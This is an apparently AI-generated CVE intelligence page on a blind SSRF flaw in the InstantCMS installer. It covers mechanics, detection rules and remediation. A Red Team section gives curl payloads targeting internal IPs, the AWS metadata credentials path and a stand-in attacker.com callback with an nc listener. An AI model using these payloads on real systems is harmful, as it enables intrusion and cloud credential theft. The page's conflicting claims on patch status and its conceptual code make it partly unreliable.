☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-59055

CVE-2025-59055 Server-Side Request Forgery in Instantcms
📅 PUBLISHED: 2025-09-11 18:46 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.45%
👁️
0.45% probability
11.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Russia License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-59055 is a blind Server-Side Request Forgery (SSRF) vulnerability discovered in InstantCMS, a free and open-source content management system. The flaw resides in the installer functionality, specifically within the package parameter, allowing an authenticated remote attacker to forge arbitrary HTTP/HTTPS requests from the server. This can be leveraged for internal network scanning, accessing local services, Denial of Service (DoS) attacks, and potentially disclosing the server's real IP address if it is behind a reverse proxy. The vulnerability affects all versions up to and including 2.17.3. As of the time of this report, no official patch has been released, leaving systems exposed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

InstantCMS is a PHP-based CMS. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. However, the risk extends to the supply chain if the CMS is used as a dependency in other projects or if third-party plugins rely on the vulnerable installer functionality. Administrators should treat this as a critical supply chain risk for any environment using InstantCMS.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.7 (Medium)
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): Low (L) - Requires authentication
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): Low (L) - Potential IP disclosure
  • Integrity (I): None (N)
  • Availability (A): Low (L) - DoS potential

Threat Level: Medium. While the CVSS score is moderate, the potential for internal network reconnaissance and DoS makes this a significant concern for organizations using InstantCMS in internal or DMZ environments.

Deep Dive & Mechanics

The vulnerability exists in the installer component of InstantCMS. The package parameter, used to specify a package URL for installation, does not properly validate or sanitize user input. An authenticated attacker can manipulate this parameter to point to arbitrary internal or external URLs.

Mechanism:

  1. Authentication: The attacker must have valid credentials to access the admin panel.
  2. Parameter Injection: The attacker crafts a request to the installer endpoint, setting the package parameter to a target URL (e.g., http://169.254.169.254/latest/meta-data/ for AWS metadata, or http://internal-service:8080/).
  3. Server-Side Request: The InstantCMS server makes an HTTP/HTTPS request to the attacker-specified URL.
  4. Blind SSRF: The response is not directly displayed to the attacker, but the attacker can infer information based on response times, error messages, or by using out-of-band techniques (e.g., DNS/HTTP callbacks to a controlled server).

Impact:

  • Internal Network Scanning: Identify live hosts and open ports on the internal network.
  • Access Local Services: Interact with services like Redis, Memcached, or internal APIs that are not exposed externally.
  • Cloud Metadata Exposure: In cloud environments, access instance metadata (e.g., AWS, GCP, Azure) to retrieve credentials or configuration data.
  • Denial of Service (DoS): Flood internal services or the server itself with requests, exhausting resources.
  • IP Disclosure: If behind a reverse proxy, the attacker can force the server to make a request to an external server, revealing the server's real IP address.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the installer logic. A typical vulnerable pattern in PHP would be:

Vulnerable Code (Conceptual):

// installer.php
$package_url = $_GET['package'];
$response = file_get_contents($package_url); // No validation
// ... process $response

Patched Code (Conceptual):

// installer.php
$package_url = $_GET['package'];
$allowed_hosts = ['packages.instantcms.com', 'github.com']; // Whitelist
$parsed_url = parse_url($package_url);
if (!in_array($parsed_url['host'], $allowed_hosts)) {
    die('Invalid package source.');
}
// Additional validation: ensure scheme is http/https, block private IPs
if (filter_var($parsed_url['host'], FILTER_VALIDATE_IP) && !filter_var($parsed_url['host'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('Private IPs are not allowed.');
}
$response = file_get_contents($package_url);

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid admin credentials for InstantCMS.
  • Network access to the InstantCMS server.

Exploitation Steps:

  1. Identify the Installer Endpoint: Typically /admin/installer or similar.
  2. Craft the SSRF Payload: Use a tool like curl or Burp Suite.
    # Example: Scan internal network (blind)
    curl -X POST "http://target.com/admin/installer" \
      -d "package=http://192.168.1.1:80" \
      -b "session=valid_session_cookie"
    
  3. Out-of-Band Detection: Set up a listener (e.g., using nc or a webhook service) to detect callbacks.
    # Attacker's listener
    nc -lvnp 8080
    
    # SSRF payload to trigger callback
    curl -X POST "http://target.com/admin/installer" \
      -d "package=http://attacker.com:8080/test" \
      -b "session=valid_session_cookie"
    
  4. Cloud Metadata Exploitation (AWS Example):
    curl -X POST "http://target.com/admin/installer" \
      -d "package=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
      -b "session=valid_session_cookie"
    
    The response may not be visible, but the attacker can use timing or error-based inference.

Blue Team

Detection & Response:

  1. Monitor Outbound Traffic: Look for unexpected HTTP/HTTPS requests from the InstantCMS server to internal IPs (RFC 1918) or external callback servers.
  2. Web Server Logs: Analyze access logs for the installer endpoint with suspicious package parameters.
    # Example log entry
    192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "POST /admin/installer HTTP/1.1" 200 1234 "http://169.254.169.254/latest/meta-data/"
    
  3. Honeypot Services: Deploy fake internal services to detect scanning activity.
  4. Network Segmentation: Restrict the InstantCMS server's outbound access to only necessary external hosts.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
    • Outbound requests to cloud metadata IPs (169.254.169.254, 100.100.100.200).
    • Requests to attacker-controlled domains or IPs from the InstantCMS server.
  • File IOCs:
    • Unusual entries in web server logs (e.g., package parameter containing IP addresses or URLs).
    • Modified or new files in the InstantCMS installation directory (though unlikely for this blind SSRF).
  • Behavioral IOCs:
    • Unusual CPU or memory spikes on the InstantCMS server (due to DoS).
    • Increased outbound traffic from the server.

Detection Engineering

YARA Rule

rule CVE_2025_59055_SSRF_InstantCMS {
    meta:
        description = "Detects potential SSRF exploitation attempts against InstantCMS via the package parameter"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2025-59055"
    strings:
        $package_param = "package=" nocase
        $installer_path = "/admin/installer" nocase
        $private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
        $metadata_ip = "169.254.169.254"
        $callback_domain = /(http|https):\/\/[a-zA-Z0-9.-]+\.(xyz|top|click|gq|ml|tk)/ // Example TLDs
    condition:
        $package_param and $installer_path and ($private_ip or $metadata_ip or $callback_domain)
}

Sigma Rule

title: CVE-2025-59055 SSRF Attempt Against InstantCMS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to the InstantCMS installer with suspicious package parameters indicating SSRF.
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/installer'
        cs-uri-query|contains: 'package='
    filter_private_ip:
        cs-uri-query|contains:
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
    filter_metadata:
        cs-uri-query|contains: '169.254.169.254'
    condition: selection and (filter_private_ip or filter_metadata)
falsepositives:
    - Legitimate use of internal package repositories (if any)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59055 InstantCMS SSRF Outbound to Private IP"; flow:to_server,established; content:"POST"; http_method; content:"/admin/installer"; http_uri; content:"package="; http_client_body; pcre:"/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Installer: If the installer functionality is not required, disable or remove it entirely.
  2. Web Application Firewall (WAF): Deploy WAF rules to block requests to the installer endpoint with suspicious package parameters (e.g., containing private IPs or unusual domains).
  3. Network Segmentation: Restrict outbound traffic from the InstantCMS server to only essential external services. Block access to private IP ranges and cloud metadata IPs.
  4. Input Validation: As a temporary fix, modify the InstantCMS code to validate the package parameter against a whitelist of allowed hosts.

Long-Term Fix:

  • Apply the official patch once released by the InstantCMS maintainers.
  • Upgrade to a patched version when available.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-59055/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.